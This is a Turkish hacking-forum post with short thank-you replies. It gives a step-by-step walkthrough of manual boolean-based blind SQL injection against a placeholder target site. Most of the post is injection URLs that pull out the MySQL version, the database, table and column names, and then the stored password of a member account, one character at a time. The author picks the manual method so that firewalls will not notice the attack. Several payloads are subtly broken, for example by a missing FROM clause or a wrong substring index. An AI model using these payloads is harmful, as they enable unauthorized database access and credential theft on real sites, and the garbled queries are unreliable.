Boolean-Based Blind İnjection [VİP]

Discussion in 'Hack Dökümanları - Hack Articles' started by Rolesa, Nov 10, 2018.

  1. Rolesa

    Rolesa Guest

    Sea .

    Kendimize Sql Syntax eror veren bir site belirleyelim ve manuel inj tekniklerden bi tanesini denemeye başlıcağız şimdi bunu sqlmap üzerinde yapamazmıyız tabikide yapabiliriz fakat sqlmap gibi toollar direk kaba saldırı yaptığından firewall güvenlik duvarları tarafından algılanıyor ve engellenebiliyor bu yüzden manuel girişceğiz
    burdaki ama siteye sorular yönelterek sitenin true or folse vermesini sağlıcağız . Bu zafiyette veritabanı üzerinden her hangi bir bilgi doğrudan alınmaz mantıksal sorular ile bilgiler ortaya çıkar
    Bir kalem ile not defteri almanızı tavsiye ederim
    Karıştırılmaması gereken noktalar
    Syntax hataları
    WarningÇ:mysql_query() expects..
    Warning: mysql_num_rows() expects..
    Veritabanı hata mesajları
    You have an error in your sql syntax; check the manual that ...
    ilk olarak isek yaptığımız adresi http://hedefsite.com/deneme.php?=1 olarak alalım
    şimdi Mysql sürümünü tespit edelim ilk . Blind sql tekniğinde mysql üzerinde yer alan fonksiyonlar sıklıkla kullanılmaktadır . aşşağıdaki verceğim örnekte substring fonksiyonu kullandık bu fonksiyon vermiş olduğumuz değer , istenilen kısımdan itibaren , istenilen miktarda kesilebilr. örnekte version() çıktısının ilk karakterinden başla ve sadece ilk karakterini kes şeklinde soru sorduk elde edilen sonucun 4 sayısına eşit olup olmadığını sorduk
    http://hedefsite.com/deneme.php?=1 and substring(version(),1,1)=4;
    sayfa boş döndü yanı karşımıza boş sayfa geldi demeki 4 değil cevap 5 deniyelim o zaman
    http://hedefsite.com/deneme.php?=1 and substring(version(),1,1)=5;
    ilk sorumuzda veriler gelmeziken 2.soruda veriler geldi demekki mysql sürümümüx 5 veya 5 üzeri olduğunu anladık .
    Şimdi veritabanı adını keşfedelim
    Mysql üzerinde geçerli olan veritabanının adı "database()" fonksiyonu ile bulcağız
    yine versiypn tespitindeki yöntem ile keşfetceğiz
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'a'
    biz hedef uygulamayı bu şekilde deniceğiz . burda veritabanının ilk harfi a mı ? diye bir soru yönelttik ve sayfa boşa döndü demekki hayır sırayla deniyelim o zaman
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'b'
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'c'
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'd'
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 's'
    ve evet sayfa döndü demekki veritabanının ilk harfi s imiş şimdi kalem ve kağıt isteme yerim geliyor bunu not edelim ikinci harfe geçelim .
    http://hedefsite.com/deneme.php?=1 and substring(database(),2,1)= 'a'
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'k'
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'o'
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'p'
    sayfa döndü ve demekki 2. harfide "p" imiş
    bu şekilde sorar iken işimixi kolaylaştırmak için database adı şu sayıya eşit mi diye soralım
    http://hedefsite.com/deneme.php?=1 and length(database()) = 4 ;
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and length(database()) = 2 ;
    Empty set (0.00 sec)
    http://hedefsite.com/deneme.php?=1 and length(database()) = 3 ;
    ve sayfa döndü demekki 3 harfliymiş ilk harfi "s" ikinci harfi "p" 3 harfli olduğundan tahmin yürütelim spy deneyelim
    http://hedefsite.com/deneme.php?=1 and substring(database(),3,1)= 'p'
    sayfa döndüğüne göre veri tabanı adımız spy
    şimdi tablo adlarını keşfedelim
    Önemli = MySQL 5.*den itibaren servisin kurulumu sonrasında information_schema adında bir veritabanı gelmektedir bu veritabanı içerisinde mysql servisi üzerine kayıtlı tüm veritabanları gelir

    evet
    http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) = 'a'

    http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) ='b'

    http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) ='c'

    http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) = 'u'
    ve sonuç sayfa döndü demekki tablonun ilk adı u imiş bu şekilde deniyerek tablo adını keşfettik sayın 'uyeler' olarak
    Kolon adı leşfetme
    NOt = kolon ve tablo isimleri tespitinde sbirden fazla satır sonuç gelceğinden dolayı LIMIT ile döndürülcek satır sayısını kısıtlarız .

    http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='a'

    bunu yorumluyalım üye ID numarası 1 olanı veya tablo adı üyeler olan kolonlardan iljinin (0'dan itibaren 1 seç) birinci karakteri "a" ise getir . Eğerki ilk kolonjun ilk harfi a ise bize yanıt getircektir .
    http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='b'
    Empty set (0.00 sec)

    http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='c'
    Empty set (0.00 sec)

    http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='i'
    ve sonuç geldi 2. harfin tespiti için sadee substiring de oynama yapcağız
    http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),2,1)='a'
    Empty set (0.00)

    http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='d'

    sonuç geldi varsayıyorum
    NOT= 2.kolon içinde LIMIT 0,1 i 1,1 olarak değişitrin

    http://hedefsite.com/deneme.php?=1 and substring((select parola from uyeler where id=1),1,1) = '1'
    Emptr set(0.00 sec)

    http://hedefsite.com/deneme.php?=1 and substring((select parola from uyeler where id=1),1,1) = '1

    sayfa döndü demekki ilk harfi 1 miş bu şekilde 2,1 . rakam-harfleri tespit ederiz .


    Yazarken boynum ağrıdı amk
     
    Anarchosa likes this.
  2. Konu Sahibi
    Konu Sahibi
    Anarchosa

    Anarchosa Guest

    Emeğe saygı.
    Ellerine sağlık :)
     
    Rolesa likes this.
  3. Nobody

    Nobody F#ck Society

    Mesajlar:
    2,817
    Likes Received:
    4,664
    eline sağlık <3
     
    Rolesa likes this.
Loading...

Bu sayfayı Paylaş